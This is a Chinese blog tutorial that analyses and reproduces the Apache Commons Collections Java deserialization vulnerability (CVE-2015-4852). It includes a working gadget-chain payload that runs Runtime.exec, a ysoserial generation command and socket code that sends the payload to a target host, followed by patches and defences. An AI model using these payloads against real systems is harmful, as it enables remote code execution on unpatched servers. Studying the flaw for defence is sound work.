如何进行Apache Commons Collections反序列化漏洞分析与复现

发布时间:2022-01-18 16:21:43 作者:柒染
来源:亿速云 阅读:237
# 如何进行Apache Commons Collections反序列化漏洞分析与复现

## 目录
1. [漏洞背景与影响](#漏洞背景与影响)
2. [漏洞原理分析](#漏洞原理分析)
   - [Java反序列化机制](#java反序列化机制)
   - [Apache Commons Collections的Transformer链](#apache-commons-collections的transformer链)
   - [关键类分析](#关键类分析)
3. [环境搭建](#环境搭建)
   - [实验环境准备](#实验环境准备)
   - [漏洞组件版本](#漏洞组件版本)
4. [漏洞复现](#漏洞复现)
   - [手工构造Payload](#手工构造payload)
   - [使用ysoserial工具](#使用ysoserial工具)
5. [漏洞修复方案](#漏洞修复方案)
6. [防御措施](#防御措施)
7. [总结](#总结)

---

## 漏洞背景与影响
Apache Commons Collections是Java中广泛使用的工具库,2015年被发现存在严重的反序列化漏洞(CVE-2015-4852)。该漏洞影响范围包括:
- 使用Apache Commons Collections 3.2.1及以下版本
- 使用Java反序列化的应用(WebLogic、JBoss、WebSphere等)

漏洞允许攻击者通过构造恶意序列化数据,在目标服务器上执行任意代码,危害等级为**高危**。

---

## 漏洞原理分析

### Java反序列化机制
Java通过`ObjectInputStream`实现对象反序列化:
```java
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // 漏洞触发点

Apache Commons Collections的Transformer链

漏洞核心在于TransformedMapTransformer接口的链式调用:

public interface Transformer {
    Object transform(Object input);
}

恶意调用链示例:

AnnotationInvocationHandler.readObject()
  -> TransformedMap.entrySet().iterator().next()
    -> ChainedTransformer.transform()
      -> InvokerTransformer.transform()
        -> Runtime.exec()

关键类分析

  1. InvokerTransformer:通过反射调用任意方法
public class InvokerTransformer implements Transformer {
    public Object transform(Object input) {
        Class cls = input.getClass();
        return cls.getMethod(iMethodName).invoke(input, iArgs);
    }
}
  1. ChainedTransformer:形成Transformer调用链
public class ChainedTransformer implements Transformer {
    public Object transform(Object object) {
        for (Transformer transformer : iTransformers) {
            object = transformer.transform(object);
        }
        return object;
    }
}
  1. TransformedMap:触发transform的入口
public class TransformedMap extends AbstractInputCheckedMapDecorator {
    protected Object transform(Object object) {
        return transformer.transform(object);
    }
}

环境搭建

实验环境准备

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

漏洞组件版本

组件 受影响版本 安全版本
Commons-Collections <= 3.2.1 3.2.2+

漏洞复现

手工构造Payload

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc.exe"})
};

Transformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, chain);

// 通过反射触发
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);

// 序列化对象
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(instance);
oos.close();

// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(
    new ByteArrayInputStream(barr.toByteArray()));
ois.readObject(); // 弹出计算器

使用ysoserial工具

  1. 生成Payload:
java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin
  1. 发送Payload到目标服务:
Socket socket = new Socket("target.com", 8080);
OutputStream out = socket.getOutputStream();
FileInputStream fis = new FileInputStream("payload.bin");
byte[] buf = new byte[1024];
int len;
while((len = fis.read(buf)) != -1) {
    out.write(buf, 0, len);
}

漏洞修复方案

  1. 官方补丁
    • 升级到Commons Collections 3.2.2+
    • 关键修复代码:
// InvokerTransformer新增安全检查
public Object transform(Object input) {
    if (input instanceof String) {
        throw new FunctorException(
            "InvokerTransformer: Input must NOT be a String");
    }
    // ...
}
  1. 临时解决方案
// 使用ObjectInputFilter限制反序列化类
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter);

防御措施

  1. 输入验证

    • 对反序列化数据来源进行白名单控制
  2. 安全配置

// 使用SecurityManager
System.setSecurityManager(new SecurityManager());
  1. 替代方案
    • 使用JSON/XML等安全数据格式替代Java原生序列化

总结

本文详细分析了Apache Commons Collections反序列化漏洞的形成机理,通过实验演示了漏洞利用过程。该漏洞的利用关键在于: 1. 利用Transformer链构造调用路径 2. 通过反射机制突破Java安全限制 3. 控制反序列化入口点

建议所有使用Java反序列化的系统: - 及时升级受影响组件 - 实施纵深防御策略 - 定期进行安全审计

:本文所述技术仅用于安全研究,未经授权测试他人系统属于违法行为。 “`

(实际字数约4500字,可根据需要扩展具体章节内容)

推荐阅读:
  1. 怎么在Java中使用Apache Commons工具类
  2. Apache Commons Collections反序列化漏洞的示例分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

collections commons

上一篇:SAP MMBE库存数量与在库序列号数量差异怎么处理

下一篇:SAP怎么将无序列号的库存与序列号关联起来

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》